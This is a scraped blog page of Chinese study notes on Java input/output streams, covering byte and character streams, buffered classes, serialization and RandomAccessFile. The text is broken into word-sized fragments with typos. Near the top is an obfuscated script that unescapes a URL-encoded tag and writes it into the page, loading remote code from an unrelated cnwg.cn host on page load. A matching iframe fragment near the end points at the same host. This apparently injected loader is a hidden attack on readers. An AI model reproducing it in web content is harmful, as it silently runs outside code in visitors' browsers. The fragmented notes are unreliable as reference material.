Chap06: 输入/输出流

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Chap06: 输入/输出流

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


l
      
流是按照一定顺序排列的数据的集合
.
输入流
;
指从数据源读数据到程序
,
输出流
:
从程序输出数据到目的流
.
数据源
->
程序叫做读操作
,
反之叫做写操作
.
l
      
流分为两种
:
字节流和字符流
.
字节流的两个基类是
inputstream

outputstream.
字符流的两个基类是
reader

writer.
l
      
Inputstream
类的常用子类
: bufferedinputstream,
该类对象被创建时
,
就长生了一个内部缓冲数组
,
因此可以根据需要从连接的输入数据流中一次性读入多个字节的数据到内部缓冲数组中
,
提高读取效率
. Fileinputstream
类主要用于文件的输入
,
l
      
从键盘中输入的字符串结尾都会自动加上回车和换行
/n/r.
l
      
outputstrem
类的常用子类
: BufferedOouputstream
类对象被创建时
,
就长生了一个内部数组
,
可以从连接的输出数据流中一次性写入内部缓冲数组中写多个字节
.
提高写出效率
. Fileoutputstream
类主要用于文件的输出
.
l
      
Reader
作为字符输入流
,
是一个抽象类
.
类常用子类
bufferedreader
是缓冲字符的输入流
.
当它的对象被创建时
,
就产生一个内部缓冲数组
,
这样就可以根据需要从连接的输入数据流中一次性读入多个字符的数据到内部缓冲数组中
,
提高读取效率
, inputstreamreader
是将字节输入流转换为字符输入流的转换器
.
l
      
Writer
类作为字符输出流
,
也是一个抽象类
,
常用抽象类
: printwriter(
屏幕字符输出流
)

l
      
Filereader

filewriter

:
用于文件的输入
/
输出类可以分为两大类
:
用于字节文件的
fileinputstream

fileoutputstream

.
用于字符文件的
filereader

filewriter.
l
      
对象流
:
有时候需要将对象生命周期的某一阶段保存下来
,
当需要的时候
,
在将保存的对象状态恢复
,
对象流就可以实现这样的功能
.
对象流通常不止一个
,
为了保证保存和恢复的对象不会出错
,
必须保证这些对象都是序列化的对象
.
序列化的对象时指嫩构按照顺序操作对象流中的对象
,
一个类如果实现了
serializable
接口
,
它的对象就是序列化对象
.
l
      
Serializable
接口是个空的接口
,
没有任何方法
.
l
      
Objectinputstream
它主要用于对象的恢复
. Objectoutputstream
主要用于对象的保存
.
进行对象保存时只能保存对象的非静态成员变量
,
且不能为
transient
类型的
.
l
      
File

.
可以提供对文件的操作
,
比如文件的路径
,
大小
,
绝对路径
,
是否只读等操作
.
l
      
图像
,
声音等不能用字符文件读写
,
只能用二进制文件
(
字节文件流
).
l
      
Randomaccessfile(
随机存取文件
)

.
前面将到的文件都是按顺序读写的
,

Randomaccessfile
则支持随机读取
.
它继承自
object,
实现了
datainput

dataoutput
接口
,
既可以作为输入流
,
也可以作为输出流
.
它定义了文件当前位置指针
.
文件的存取就是从当前位置指针开始的
.
java中流的继承关系和C++中的流的继承关系的比较.
java:
c++:
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值